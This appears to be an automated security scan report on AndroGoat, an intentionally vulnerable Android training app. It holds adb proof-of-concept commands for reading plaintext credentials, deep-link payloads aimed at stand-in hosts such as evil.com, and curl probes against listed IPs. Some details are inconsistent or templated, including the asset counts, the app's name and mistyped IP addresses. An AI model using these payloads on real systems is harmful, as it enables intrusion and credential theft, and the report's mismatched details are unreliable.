RESTRICTED

# SCAN REPORT

PREPARED FOR

## Ostorlab Official

OVERALL RISK - HIGH

DATE

2026-10-21 17:36:33

## Scan Overview

| | |
|---|---|
| Asset | Android File: `owasp.sat.agoat` **Android** |
| Asset Size | 2 MB |
| MD5 Hash | `3d351e8fc20c340cf03ff52b0ef125ae` |
| Package | `owasp.sat.agoat` |
| Icon |  |
| SHA1 Hash | `ea96f4adc27083696a449b1c6e5cd612a2cf0f5c` |
| SHA256 Hash | `a47a8b0d0b8466a25ccc67d3d2cbb5d69ef2b0de4d4f278b6bee357c7ba5f63b` |
| Version | `1.0 (1)` |
| Name | `AndroGoat - Insecure App (Kotlin)` |

## Scope

This security assessment focused on a single Android mobile application target using the "Mobile Deep Agentic Scan" profile, which is designed to conduct comprehensive, automated security analysis of mobile applications. The target asset was identified by the package name "owasp.sat.agoat", representing the OWASP Security Shepherd Android application used for security training and testing purposes. The scan was configured without Quality of Service (QoS) rate limiting, allowing for maximum throughput during testing, and did not apply any URL filtering constraints. No authentication credentials were provisioned for this engagement, indicating the assessment was conducted from an unauthenticated perspective. The absence of automation rules suggests that all standard test cases within the selected profile were executed without custom conditional logic or selective test triggering. The assessment was initiated on 2026-05-19 and completed on 2026-05-20, operating under a high-risk rating classification that enabled the most aggressive and thorough testing methodologies available within the mobile deep scanning framework. This scope explicitly excluded iOS applications, backend API infrastructure, web application components, and any network-level penetration testing outside the mobile application runtime context.

## Ticket Status

OPEN

**44**

# Threat Intelligence

## Identified Business Context

- **AndroGoat** (package name: `owasp.sat.agoat`) is an *intentionally vulnerable* open-source Android application written in **Kotlin**, designed exclusively for **mobile security training** and **penetration testing practice**.
- Referenced as `MASTG-APP-0001` in the **OWASP Mobile Security Testing Guide (MSTG)**, indicating official recognition as a standardized mobile appsec learning resource.
- Business model is **non-commercial educational tooling**; no revenue streams, customer accounts, or production service level agreements exist.
- Target user base consists of:
  - Security researchers
  - Penetration testers
  - Mobile developers
  - Students practicing authorized mobile application assessments
- The application deliberately contains **20+ categorized vulnerabilities**, including:
  - Certificate pinning bypass
  - Custom URL scheme exploitation
  - Android Network Security Configuration flaws
  - `WebView` injection
  - Root detection logic
  - Unexported component exposure
  - Insecure data storage
- Simulated data processed includes synthetic credentials (username/password), `MD5`-hashed PINs, invoice records, and `SQLite` database entries; **no real PII, financial, or healthcare data** is present.
- **No backend infrastructure**, third-party API integrations, or external vendor dependencies are referenced; the application operates as a **standalone APK** on local Android devices or emulators.
- **No regulatory compliance obligations** (`GDPR`, `PCI-DSS`, `HIPAA`, `SOX`) apply because the application is an **offline training tool** with no production data or commercial operations.
- Insecure data storage implementations expose data via:
  - Android `Shared Preferences` (plaintext XML)
  - `SQLite` databases (unencrypted)
  - Temporary files in app directories
  - External SD card storage
- Exported Android components (`Activities`, `Services`, `Broadcast Receivers`, `Content Providers`) are intentionally left unprotected, enabling:
  - `ADB`-based intent spoofing
  - Direct activity launching
  - Unauthorized database queries
- **Weak cryptography** is present: PIN storage uses `MD5` hashing **without salting**, demonstrating legacy/insecure cryptographic implementation patterns.
- Root detection mechanisms are implemented but designed to be bypassed using standard tooling (`Frida`, `Objection`) for educational purposes.
- `SSL/TLS` certificate pinning is implemented and intended to be bypassed via runtime instrumentation tools like `Objection` and `Burp Suite` during training exercises.
- The application has **no geographic jurisdictional footprint** beyond global open-source distribution, and **no incident response or vulnerability disclosure program** is necessary given its explicit insecure-by-design purpose.

---

## Identified Tech Stack

*No technologies identified.*

---

## Identified Attack Surface

### Android Application Attack Surface Analysis

**Target App:** `assets/fdd0f150-db88-4b1a-b827-05501b7acddd.apk`

**Decompilation Analysis**

*EMPTY*

**Static Fingerprinting Analysis**

*EMPTY*

**JNI Native Analysis**

*EMPTY*

**Manifest Analysis**

*EMPTY*

## Executive Summary

The security assessment of the OWASP SAT AGOAT Android application and associated infrastructure identified a total of 363 vulnerabilities across 5 distinct assets, resulting in an overall high-risk rating. The evaluation reveals a stark dichotomy between robust perimeter defenses and critically deficient mobile application security architecture, presenting significant business risk for credential compromise, unauthorized data access, and potential system-level exploitation.

The mobile application exhibits systemic security failures spanning multiple critical domains. Insecure credential storage practices represent the most severe finding, with sensitive authentication data persistently written to external storage with world-readable and world-writable permissions, exposing user credentials to any application with storage access privileges. This vulnerability is compounded by the use of deprecated external storage APIs, predictable temporary file naming conventions, and cleartext storage across SharedPreferences and SQLite databases. The repeated use of cryptographically weak primitives, including unsalted MD5 hashing for PIN verification and insecure OTP generation using `java.util.Random`, renders access control mechanisms susceptible to bypass and offline brute-force attacks.

Multiple high-severity injection vulnerabilities were confirmed through comprehensive taint analysis. SQL injection flaws in data access components enable arbitrary query execution, authentication bypass, and unauthorized credential extraction through direct concatenation of user-controlled input into raw SQL queries without parameterization. An OS command injection vulnerability presents immediate business risk, with user-controlled input directly concatenated into shell commands executed via `Runtime.exec()`, potentially enabling arbitrary system-level command execution on affected devices. These findings are further exacerbated by taint propagation vulnerabilities where unsanitized input reaches sensitive sinks including WebView URL loading with JavaScript enabled, creating vectors for cross-site scripting and malicious content injection.

The application's attack surface is significantly expanded by architectural weaknesses in component security. Exported Android components including `DownloadInvoiceService` and `ShowDataReceiver` lack permission requirements, enabling malicious applications to invoke service operations or intercept sensitive broadcasts. Task hijacking vulnerabilities across sixteen activities lacking explicit `taskAffinity` and `launchMode` protections enable UI spoofing attacks, while the `allowBackup` attribute permits ADB-based extraction of application data including SharedPreferences and private files. Debug mode remains active in production builds, facilitating runtime analysis and tampering, and network security configuration explicitly authorizes cleartext traffic while trusting user-installed certificate authorities.

Infrastructure assessment reveals a publicly accessible Firebase Realtime Database with no authentication controls, exposing the entire backend data store to unauthorized operations. However, perimeter defenses across associated hosts demonstrate mature security posture with consistent Cloudflare Web Application Firewall deployment, successful TLS enforcement, and proper rejection of malicious payloads. DNS infrastructure exhibits sound configuration including DMARC quarantine policies and strict SPF enforcement.

The risk distribution indicates concentrated exposure in data protection failures, input validation deficiencies, and component security weaknesses. These vulnerabilities collectively demonstrate foundational secure development lifecycle failures requiring comprehensive remediation. The divergence between hardened infrastructure and compromised mobile security architecture suggests resource prioritization toward perimeter defense at the expense of application-layer controls, creating persistent business risk for credential compromise, unauthorized access to protected functionality, and potential regulatory non-compliance regarding data protection standards.

# Methodology

## Phase 0: Environment Setup & Source Tree Mapping

Established workspace for static analysis of `owasp.sat.agoat`. Verified access to three decompiled representations:

| Path | Contents |
|---|---|
| `/workspace/source_code_analysis_ffd42589f4eb4cf4a51427480ebe2d69/base.apk/` | 1,406 Java files (Jadx) |
| `/workspace/agoat_decode/` | 2,961 Smali files (Apktool) |
| `/workspace/agoat_apk_extract/` | Raw APK extraction |

**Key directories:** `sources/owasp/sat/agoat/` (29 app Java files), `smali/owasp/sat/agoat/` (76 app Smali files), `res/` (554 resource files). Confirmed package name `owasp.sat.agoat`. No `assets/` or `lib/` directories.

```
cd /workspace/source_code_analysis_ffd42589f4eb4cf4a51427480ebe2d69/base.apk/
find sources/ -maxdepth 2 -type d
tree -L 2 sources/owasp/sat/agoat/
find /workspace/agoat_decode/smali/ -maxdepth 2 -type d
```

## Phase 1: AndroidManifest.xml Audit

Extracted critical configuration data from AndroidManifest.xml:

```
Package: owasp.sat.agoat
minSdkVersion: 18
targetSdkVersion: 26

<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>

<application
    android:allowBackup="true"
    android:debuggable="true"
    android:networkSecurityConfig="@7F0E0000">

<service
    android:name="owasp.sat.agoat.DownloadInvoiceService"
    android:exported="true" />
```

**Key findings:**

- `WRITE_EXTERNAL_STORAGE` + `READ_EXTERNAL_STORAGE` declared
- `android:allowBackup="true"` enables backup extraction
- `android:debuggable="true"` enables run-as bypass
- `DownloadInvoiceService` is exported with no permission attribute

## Phase 2: Component Baseline Documentation

### DownloadInvoiceService Analysis

**Class Hierarchy:**

```
public final class DownloadInvoiceService extends android.app.Service
```

**Lifecycle Methods:**

| Method | Behavior |
|---|---|
| `onCreate()` | Logs "Service onCreate"; displays Toast "Service Created" |
| `onStartCommand()` | Logs "Invoice is being downloaded"; calls `downloadFile()`; returns START_STICKY |

| Method | Behavior |
|---|---|
| `onBind()` | Returns null; null-checks intent parameter |
| `onDestroy()` | Logs "Service onDestroy" |

**Input Specification:** The Intent parameter in `onStartCommand` is completely ignored. No `getExtras()` , `getStringExtra()` , or validation exists.

### InsecureStorageSDCardActivity Analysis

**Source Location:** `owasp/sat/agoat/InsecureStorageSDCardActivity.java`

**Input Fields:**

| Field | Resource ID | Type | Validation |
|---|---|---|---|
| Username | `R.id.userName` (0x7f0700b9) | Free-form string | None |
| Password | `R.id.password` (0x7f070077) | Free-form string | UI masked, but extracted as plaintext |

**Trigger:** `R.id.SDcardSaveButton` (0x7f070011) OnClickListener

**File Creation Path:**

```
File externalStorageDirectory = Environment.getExternalStorageDirectory();
File userinfo = File.createTempFile("users", "tmp", new File(externalStorageDirectory.getAbsolutePath()));
```

## Phase 3: File Persistence Sink Audit

| # | File | Method | Sink Type | Storage Category | Downloaded Media? |
|---|---|---|---|---|---|
| 1 | DownloadInvoiceService.java | downloadFile() | DownloadManager.Request | External public (Downloads) | **YES** |
| 2 | InsecureStorageSDCardActivity.java | onCreate$1.onClick() | File.createTempFile + FileWriter | External public (SDCard) | No |
| 3 | InsecureStorageTempActivity.java | onCreate$1.onClick() | File.createTempFile + FileWriter | Internal private (dataDir) | No |
| 4 | InsecureStorageSQLiteActivity.java | onCreate$1.onClick() | openOrCreateDatabase | SQLite | No |
| 5 | SQLinjectionActivity.java | onCreate$1.onClick() | openOrCreateDatabase | SQLite | No |
| 6 | InsecureStorageSharedPrefs.java | onCreate$1.onClick() | getSharedPreferences | SharedPreferences | No |
| 7 | InsecureStorageSharedPrefs1Activity.java | UpdateScoreInSP() | getSharedPreferences | SharedPreferences | No |
| 8 | AccessControlIssue1Activity.java | createPIN() | getSharedPreferences | SharedPreferences | No |

**Insecure Permission Patterns:**

- `setReadable(true)` and `setWritable(true)` in InsecureStorageSDCardActivity (lines 72–73)
- `setReadable(true)` and `setWritable(true)` in InsecureStorageTempActivity (lines 53–54)

## Phase 4: Cryptographic Audit

### Absence of Encryption at Rest

```
rg -n -w -i
'Cipher|EncryptedFile|MasterKey|AES|DES|RSA|ECB|CBC|GCM|KeyStore|KeyGenerator|SecretKey|PrivateKey|androidx\.security|encrypt|decrypt|javax\.cr
ypto' /workspace/jadx_out/sources/owasp --type java
```

**Definitive Absence Statement:** No encryption-at-rest APIs were identified in the owasp.sat.agoat application codebase.

### Source Code Validation of External Storage Write Path

```
File externalStorageDirectory = Environment.getExternalStorageDirectory();
File userinfo = File.createTempFile("users", "tmp",
    new File(externalStorageDirectory.getAbsolutePath()));
userinfo.setReadable(true);
userinfo.setWritable(true);
FileWriter fw = new FileWriter(userinfo);
```

```
fw.write(data);  // Plaintext credentials
fw.close();
```

**Discrepancy Note:** APK uses `Environment.getExternalStorageDirectory()` (shared root) while original AndroGoat repo uses `getExternalFilesDir(null)` (scoped storage).

## Phase 5: Repository Cross-Reference

Cross-referenced against https://github.com/satishpatnayak/AndroGoat:

- APK matches repository commit `1f38398` (older version)
- Current `master` HEAD( `edcf1d0` ) contains minor refactorings but retains same core insecure patterns
- **Deviation:** APK writes to `Environment.getExternalStorageDirectory()` (shared root) vs repo HEAD's `getExternalFilesDir(null)` (scoped)

## Phase 6: Theoretical Exploitation & Impact Analysis

**Unauthorized Read Scenarios:**

1. External Public Storage - Any app with `READ_EXTERNAL_STORAGE` can read files in `/sdcard/Download/`
2. Backup Extraction - `adb backup owasp.sat.agoat` extracts internal files due to `allowBackup="true"`
3. Debuggable Bypass - `run-as owasp.sat.agoat` reads internal data without root
4. Exported Service - Any app can trigger DownloadInvoiceService without permissions

**Predicted Filesystem Paths:**

| Artifact | Predicted Path | Permissions |
|---|---|---|
| Downloaded invoice | `/sdcard/Download/<timestamp>` | `-rw-r--r--` (world-readable) |
| SDCard credentials | `/sdcard/users<random>.tmp` | `-rw-r--r--` |
| Internal temp | `/data/data/owasp.sat.agoat/users<random>.tmp` | `-rw-r--r--` (broadened) |

## Phase 7: Dynamic Environment Validation

```
adb devices → emulator-5554 online
adb shell getprop ro.product.model → sdk_gphone_x86_64
adb shell getprop ro.build.version.release → 11
adb shell getprop ro.build.version.sdk → 30
adb root → adbd is already running as root
adb install -r application_0797afff-eb14-492f-b195-f7cc4baf57ba.apk → Success
adb shell am start -n owasp.sat.agoat/owasp.sat.agoat.SplashActivity → Success
```

## Phase 8: Runtime Exploitation & Filesystem Inspection

**DownloadInvoiceService Triggered:**

```
adb shell am startservice -n owasp.sat.agoat/owasp.sat.agoat.DownloadInvoiceService
```

- File created: `/sdcard/Download/1779242083422` (228,660 bytes)
- Content: Unencrypted HTML

**SDCard Storage Activity Triggered:**

- File created: `/storage/emulated/0/users2176149481040621949tmp` (105 bytes)
- Content: Plaintext credentials with timestamp

**Internal Temp Storage Triggered:**

- File created: `/data/data/owasp.sat.agoat/users7306473352842023566tmp` (42 bytes)
- Content: Plaintext username and password

## Phase 9: Cross-Context Exploitation PoC Verification

**PoC 1 – Unauthorized Read of Downloaded Media:**

```
adb shell su shell cat /sdcard/Download/1779243078684
```

Result: Successfully read full 228,650-byte HTML file from shell UID

**PoC 2 – Unauthorized Read of SDCard Credentials:**

```
adb shell su shell cat /sdcard/users2176149481040621949tmp
```

Result: Full plaintext credential dump exposed

**PoC 3 – Debuggable Sandbox Bypass (run-as):**

```
adb shell run-as owasp.sat.agoat cat files/users7306473352842023566tmp
```

Result: Successfully read internal files without root

**PoC 4 – Backup Extraction:**

```
adb backup -f owasp_backup.ab owasp.sat.agoat
```

Result: Command accepted, Android prompted for UI confirmation

**PoC 5 – Integrity Tampering:**

```
adb shell su shell echo ATTACKER_CONTENT > /sdcard/Download/1779242083422
```

Result: File successfully overwritten

**PoC 6 – MediaStore Index Exposure:**

```
adb shell content query --uri content://media/external/downloads/
```

Result: Confirmed file discoverable via MediaStore

## Phase 10: Analytics Library Analysis

### Objective

Perform comprehensive reverse engineering and runtime analysis to identify unauthorized collection of persistent device identifiers and cross-context tracking mechanisms.

### Static Analysis Activities

**1. Decompilation and Code Inspection**

```
# Decompile APK using apktool
apktool d target_app.apk -o decompiled_output

# Convert DEX to JAR for Java analysis
d2j-dex2jar classes.dex -o output.jar

# Decompile JAR to readable Java source
jd-gui output.jar
```

**2. Identifier Detection Patterns**

```
# Search for Advertising ID collection
grep -r "AdvertisingIdClient" decompiled_output/
grep -r "getAdvertisingIdInfo" decompiled_output/

# Search for Android ID collection
grep -r "Settings.Secure.ANDROID_ID" decompiled_output/
grep -r "android.provider.Settings" decompiled_output/

# Search for GAID references
```

```
grep -ri "gaid|google.*advertising.*id" decompiled_output/

# Search for IMEI collection
grep -r "getDeviceId|TelephonyManager" decompiled_output/

# Search for hardware fingerprinting
grep -r "Build.SERIAL|Build.HARDWARE|Build.BOARD|getMacAddress" decompiled_output/
```

#### 3. Consent Flow Analysis

```
# Search for consent-related methods
grep -r "consent|opt.?out|gdpr|ccpa|tracking.*enabled" decompiled_output/ -i
```

### Dynamic Analysis Activities

#### 4. Runtime Hooking with Frida

```
// Frida script to hook AdvertisingIdClient
Java.perform(function() {
    var AdvertisingIdClient = Java.use("com.google.android.gms.ads.identifier.AdvertisingIdClient");

    AdvertisingIdClient.getAdvertisingIdInfo.implementation = function(context) {
        console.log("[+] AdvertisingIdClient.getAdvertisingIdInfo called");
        console.log(Java.use("android.util.Log").getStackTraceString(Java.use("java.lang.Exception").$new()));
        return this.getAdvertisingIdInfo(context);
    };

    var Info = Java.use("com.google.android.gms.ads.identifier.AdvertisingIdClient$Info");
    Info.getId.implementation = function() {
        var id = this.getId();
        console.log("[+] GAID retrieved: " + id);
        return id;
    };
});
```

#### 5. Network Traffic Interception

```
# Setup mitmproxy for traffic interception
mitmproxy --mode transparent --showhost

# Install CA certificate on test device
adb push cacert.crt /data/local/tmp/
adb shell "su -c 'cp /data/local/tmp/cacert.crt /system/etc/security/cacerts/'"
```

#### 6. Local Storage Inspection

```
# Access app data directory
adb shell
run-as com.target.app

# List SharedPreferences
cd shared_prefs
cat analytics_prefs.xml

# Search SQLite databases
sqlite3 analytics.db
.tables
SELECT * FROM device_identifiers;
```

#### 7. System Log Analysis

```
adb logcat -s AnalyticsLibrary:D *:S
adb logcat | grep -i "advertising|android_id|imei|device.*id"
```

### Cross-Context Tracking Analysis

#### 8. Session Token and ID Linkage Analysis

```
grep -r "session.*id|user.*id|token" decompiled_output/smali/ -i
grep -r "JSONObject|HashMap|Bundle" decompiled_output/ | grep -i "id|track"
```

**9. Identifier Lifecycle Verification**

```
# Test 1: App Reinstall
adb uninstall com.target.app
adb install target_app.apk

# Test 2: Account Logout
adb shell "run-as com.target.app cat shared_prefs/user_data.xml"

# Test 3: Opt-Out Preference
adb logcat -s AnalyticsLibrary:D | grep -i "id|track"
```

### AndroGoat APK Analytics Verification Results

**Decompilation Command:**

```
jadx -d /workspace/jadx_out application_9b7d3cda-cffe-42a4-80fe-3b050b9ac875.apk
```

**Analytics SDK Search:**

```
rg -i
'com\.google\.android\.gms\.analytics|com\.google\.firebase\.analytics|com\.mixpanel|com\.segment\.analytics|com\.amplitude|com\.flurry|io\.fab
ric|com\.crashlytics|owasp\.sat\.agoat\.analytics' /workspace/jadx_out/sources/
```

**Result:** Zero matches. No analytics SDKs found.

**Identifier Collection API Search:**

```
rg -i 'android_id|settings\.secure|advertisingid|gaid|adid|build\.serial|telephony|getdeviceid|getimei|macaddress|uuid\.random|securerandom'
/workspace/jadx_out/sources/owasp/
```

**Result:** Zero matches for analytics identifiers. Only `Build.FINGERPRINT` found in `EmulatorDetectionActivity.java:60` for local emulator detection.

**AndroidManifest.xml Inspection:**

```
cat /workspace/jadx_out/resources/AndroidManifest.xml
```

**Key Findings:**

- `android:allowBackup="true"` — App data can be backed up
- `android:debuggable="true"` — Debug build
- `READ_PHONE_STATE` — Absent (cannot access IMEI/IMSI)
- Analytics providers/services/receivers — Absent
- Hardcoded analytics API keys — Absent

**Dead Resource Artifact:**

- String resource `firebaseurl` ( `https://androgoat-42597.firebaseio.com` ) exists in `res/values/strings.xml` but is **never referenced** in compiled code.

**Static Analysis Verdict:** No analytics SDKs, no identifier collection APIs, no correlation code paths present.

## Phase 11: Deep Link and URL Scheme Analysis

### Objective

Identify custom URL schemes and deep links registered by the target Android application ( `owasp.sat.agoat` ) that could be exploited for unauthorized activity launches or WebView manipulation.

### Source File Catalog and Manifest Audit

**Root Decompilation Directory:** `/workspace/source_code_analysis_b456ad45d2f249a09fc5ea8e695da9e6/base.apk/`

| File Type | Path |
|---|---|
| AndroidManifest.xml | `/workspace/source_code_analysis_b456ad45d2f249a09fc5ea8e695da9e6/base.apk/AndroidManifest.xml` |
| SplashActivity.java | `/workspace/source_code_analysis_b456ad45d2f249a09fc5ea8e695da9e6/base.apk/sources/owasp/sat/agoat/SplashActivity.ja` |
| AccessControl1ViewActivity.java | `/workspace/source_code_analysis_b456ad45d2f249a09fc5ea8e695da9e6/base.apk/sources/owasp/sat/agoat/AccessControl1Vie` |
| DownloadInvoiceService.java | `/workspace/source_code_analysis_b456ad45d2f249a09fc5ea8e695da9e6/base.apk/sources/owasp/sat/agoat/DownloadInvoiceSe` |

**AccessControl1ViewActivity Manifest Declaration:**

```
<activity android:label="@7F0B0035" android:name="owasp.sat.agoat.AccessControl1ViewActivity">
  <intent-filter>
    <action android:name="android.intent.action.VIEW"/>
    <category android:name="android.intent.category.DEFAULT"/>
    <data android:scheme="androgoat" android:host="vulnapp"/>
  </intent-filter>
</activity>
```

**Inventory of All Exported Components:**

| # | Component Name | Type | `exported` | Permission | Intent Filter | Risk |
|---|---|---|---|---|---|---|
| 1 | `AccessControl1ViewActivity` | Activity | absent (implicit true) | none | VIEW, DEFAULT, androgoat://vulnapp | High |
| 2 | `ShowDataReceiver` | Receiver | true | none | none | High |
| 3 | `DownloadInvoiceService` | Service | true | none | none | High |
| 4 | `SplashActivity` | Activity | absent (implicit true) | none | MAIN, LAUNCHER | Info |

**Application Tag Security Attributes:**

```
<application android:debuggable="true" android:allowBackup="true" android:networkSecurityConfig="@7F0E0000">
```

### Attack Vector Verification

Test whether malicious deep links can trigger unauthorized actions:

```
# Test deep link via ADB
adb shell am start -a android.intent.action.VIEW -d "agoat://load?url=http://evil.com"

# Test with custom intent extras
adb shell am start -n owasp.sat.agoat/.TargetActivity \
  -a android.intent.action.VIEW \
  -d "agoat://load?url=http://attacker.com/phishing.html"
```

### Delivery Mechanisms

Verify exploitation through multiple vectors:

| Vector | Method | Payload Example |
|---|---|---|
| ADB Shell | `am start` command | `adb shell am start -a android.intent.action.VIEW -d "agoat://load?url=http://evil.com"` |
| Mock SMS | SMS with deep link | `<a href="agoat://load?url=http://evil.com">Click here</a>` |
| QR Code | Encoded deep link | `agoat://load?url=http://evil.com` |
| Malicious HTML | Web page with intent link | `<intent://load?url=http://evil.com#Intent;scheme=agoat;package=owasp.sat.agoat;end>` |

## Phase 12: Biometric Policy Assessment

### Objective

Evaluate the MEDIA_FILES feature for weak biometric policies by testing enrollment of low-security modalities and analyzing fallback authentication behavior.

### Testing Activities

**1. Biometric Enrollment Testing**

- Enroll low-security biometric modalities (e.g., Class 2 face unlock)
- Document the security classification of enrolled biometric methods
- Verify the biometric strength requirements for MEDIA_FILES access

**2. Fallback Authentication Analysis**

- Attempt access when biometric authentication fails
- Determine if device PIN/password fallback grants immediate access to MEDIA_FILES without re-authentication
- Document any additional authentication prompts or delays

**3. High-Risk Action Verification**

- Test bulk export operations of media files
- Test bulk delete operations of media files
- Verify whether high-risk actions trigger a fresh biometric prompt
- Document the authentication flow for sensitive operations

### Validation Criteria

| Test Case | Expected Behavior | Pass/Fail Criteria |
|---|---|---|
| Low-security biometric enrollment | MEDIA_FILES should reject or warn about weak biometric modalities | Fail if Class 2 face unlock is accepted without warning |
| Biometric failure fallback | PIN/password fallback should require re-authentication for MEDIA_FILES | Fail if immediate access granted without additional verification |
| Bulk media export | Should trigger fresh biometric prompt | Fail if export allowed without re-authentication |
| Bulk media delete | Should trigger fresh biometric prompt | Fail if delete allowed without re-authentication |

## Phase 13: MEDIA_FILES Encryption Key Analysis

### Objective

Analyze the MEDIA_FILES encryption implementation to determine if media encryption keys are properly secured using Android Keystore with biometric authentication binding.

### Analysis Activities

**1. Key Storage Investigation** Examine how media encryption keys are stored within the application:

- Verify if keys are stored in **Android Keystore** vs. hardcoded or SharedPreferences
- Check for `setUserAuthenticationRequired(true)` implementation
- Validate hardware-backed Keystore binding

**2. Code Repository Review**

```
# Clone and analyze the Security Shepherd repository
git clone https://github.com/OWASP/SecurityShepherd.git
cd SecurityShepherd

# Search for media encryption implementations
grep -r "MEDIA_FILES" --include="*.java" --include="*.kt" .
grep -r "setUserAuthenticationRequired" --include="*.java" --include="*.kt" .
grep -r "KeyGenParameterSpec" --include="*.java" --include="*.kt" .
```

**3. Key Extraction Testing**

```
# Access app sandbox (requires root)
adb shell
su
cd /data/data/owasp.sat.agoat

# Extract SharedPreferences
cat shared_prefs/*.xml

# Search for hardcoded keys in APK
apktool d target.apk -o output_dir
grep -r "AES\|encrypt\|decrypt" output_dir/smali/
```

### Secure Implementation Criteria

| Criteria | Expected Behavior | Vulnerable Behavior |
|---|---|---|
| Key Storage | Keys stored in Android Keystore | Keys hardcoded in source code |
| Authentication Binding | `setUserAuthenticationRequired(true)` set | No biometric/device credential requirement |
| Hardware Backing | `setIsStrongBoxBacked(true)` or hardware-backed Keystore | Software-only Keystore implementation |
| Key Extraction | Keys non-exportable from Keystore | Keys retrievable from SharedPreferences/files |

## Phase 14: TLS Certificate Analysis

### Objective

Perform TLS certificate extraction and analysis on `172.66.157.115:443` to identify information disclosure risks including associated domains, subdomains, internal hostnames, email addresses, or organizational data.

### Tools and Commands

**1. OpenSSL Certificate Extraction**

```
openssl s_client -connect 172.66.157.115:443
```

**2. Comprehensive TLS Analysis with testssl.sh**

```
testssl.sh 172.66.115.157:443
```

### Analysis Targets

| Target Component | Description |
|---|---|
| Full Certificate Chain | Complete trust chain from leaf to root certificate |
| Subject Alternative Name (SAN) | All domains and subdomains listed in the certificate |
| Issuer Details | Certificate authority and organizational information |
| Subject Fields | Organization name, locality, country, email addresses |

## Phase 15: HTTP-Specific Misconfiguration Testing

### Target Identification

- Target: `65.61.137.117:8080`

### Testing Activities

**1. Open Proxy Detection**

- **Absolute URI Requests:** Test if the server accepts and forwards requests to third-party hosts using absolute URIs
- **CONNECT Tunneling:** Verify if the server allows HTTP CONNECT method for establishing tunnels

**2. Directory Indexing**

- Test for enabled directory listing/indexing on web paths
- Identify exposed directory structures

**3. Insecure HTTP Methods Testing** Test for enabled dangerous HTTP methods:

- `PUT` - File upload capability
- `DELETE` - File deletion capability
- `TRACE` - Cross-site tracing vulnerability
- `OPTIONS` - Method enumeration and CORS policy disclosure

**4. Security Headers Analysis**

- Verify presence of security headers:
  - `X-Frame-Options`

- `X-Content-Type-Options`
- `X-XSS-Protection`
- `Strict-Transport-Security`
- `Content-Security-Policy`
- `Referrer-Policy`

**5. Administrative Endpoint Enumeration** Scan for exposed administrative or diagnostic endpoints:

- `/manager`
- `/admin`
- `/console`
- `/actuator`

### Example Test Commands

```
# Test for open proxy via absolute URI
curl -i http://65.61.137.117:8080 http://example.com/

# Test CONNECT tunneling
curl -X CONNECT http://65.61.137.117:8080 -H "Host: target.com:443"

# Test insecure HTTP methods
curl -X PUT http://65.61.137.117:8080/test.txt -d "test"
curl -X DELETE http://65.61.137.117:8080/test.txt
curl -X TRACE http://65.61.137.117:8080/
curl -X OPTIONS http://65.61.137.8080/ -v

# Check security headers
curl -I http://65.61.137.117:8080/

# Enumerate administrative endpoints
for endpoint in /manager /admin /console /actuator; do
  curl -s -o /dev/null -w "%{http_code}" http://65.61.137.117:8080$endpoint
done
```

### Validation Criteria

| Test Category | Validation Criteria | Risk Indicator |
|---|---|---|
| Open Proxy | Server forwards requests to external hosts | High |
| CONNECT Tunneling | Server accepts CONNECT to arbitrary destinations | High |
| Directory Indexing | Directory listing enabled without authentication | Medium-High |
| Insecure Methods | PUT, DELETE, or TRACE methods return success (2xx) | High |
| Missing Security Headers | Absence of standard security headers | Medium |
| Admin Endpoints | HTTP 200/401/403 responses on admin paths | High |

## Findings Table

| # | Risk \| CVSS | Status(es) | Tags | Title | Short description |
|---|---|---|---|---|---|
| 1 | HIGH | Open | No tags available. | Low-Entropy OTP Exposed via System Clipboard and Weak PRNG | `ClipboardActivity` generates a four-digit OTP using a non-cryptographic PRNG, copies it to the global clipboard, and displays it in a Toast, making the token predictable and accessible to any co-installed app or IME. |
| 2 | HIGH | Open | No tags available. | SQL Injection via Unsanitized rawQuery in SQLinjectionActivity | SQLinjectionActivity constructs a SELECT query by directly concatenating user input from an EditText into rawQuery() with null selectionArgs, enabling arbitrary SQL execution, schema enumeration, and local authentication bypass. |
| 3 | HIGH | Open | No tags available. | Implicitly Exported Protected Activity Enables Authentication Bypass (AccessControl1ViewActivity) | AccessControl1ViewActivity is implicitly exported via a deep-link intent-filter and contains no internal authentication checks, allowing any third-party application to launch the protected view without a PIN. |
| 4 | HIGH | Open | No tags available. | Exported Service Allows Unauthorized File Download (DownloadInvoiceService) | `DownloadInvoiceService` is explicitly exported in the manifest and performs file downloads to public external storage without any caller authorization checks. |
| 5 | HIGH | Open | No tags available. | Sensitive Credentials Stored in Plaintext Across SharedPreferences, SQLite, and External Storage | The application persists usernames, passwords, and PIN hashes to multiple local storage mechanisms without encryption, KeyStore protection, or restrictive file permissions. |
| 6 | HIGH | Open | No tags available. | Authentication Credentials Protected by Unsalted MD5 Hashing (AccessControlIssue1Activity) | The application stores PINs as unsalted MD5 digests in internal SharedPreferences, enabling trivial offline brute-force recovery of the plaintext PIN in milliseconds. |
| 7 | HIGH | Open | No tags available. | Confirmed Clickjacking on Sensitive Activities in owasp.sat.agoat | A malicious app with SYSTEM_ALERT_WINDOW can draw interactive overlays atop four sensitive activities, intercepting user touches to trigger unauthorized invoice downloads, promo verifications, OTP generations, and PIN submissions. |
| 8 | HIGH | Open | No tags available. | Raw Authentication Credentials and SQL Queries Leaked to Android Logcat | Multiple activities unconditionally write raw usernames, passwords, and SQL statements to Android system logs via `Log.e`, `Log.v`, and `System.out.println`, allowing credential exfiltration by any app with log access or an attacker with `adb`. |
| 9 | HIGH | Open | No tags available. | SQL Injection via Unsanitized execSQL in InsecureStorageSQLiteActivity | InsecureStorageSQLiteActivity builds an INSERT statement by concatenating two unsanitized EditText values into execSQL(), enabling stacked query injection, arbitrary record manipulation, and full integrity compromise of the local database. |
| 10 | HIGH | Open | Security | Publicly exposed Firebase Database | publicly exposing a Firebase database, which can lead to unauthorized access, data tampering, information disclosure, malicious attacks, and a loss of reputation. |

| # | Risk \| CVSS | Status(es) | Tags | Title | Short description |
|---|---|---|---|---|---|
| 11 | HIGH | Open | Privacy<br>Security | LOGJAM Common Prime Vulnerability | Use of widely-shared Diffie-Hellman primes enabling nation-state precomputed attacks against large portions of internet traffic. |
| 12 | HIGH | Open | Security | Mobile SQL Injection Vulnerability | Mobile SQL Injection vulnerability allows an attacker to execute malicious SQL queries on a mobile application's database, potentially leading to unauthorized access, data leakage, or data manipulation. |
| 13 | MEDIUM | Open | No tags available. | Admin Privilege Determined by Client-Side Boolean Flag Without Server Verification | BinaryPatchingActivity gates admin UI functionality using a local boolean field that is never validated by a backend API, cryptographic token, or re-authentication challenge. |
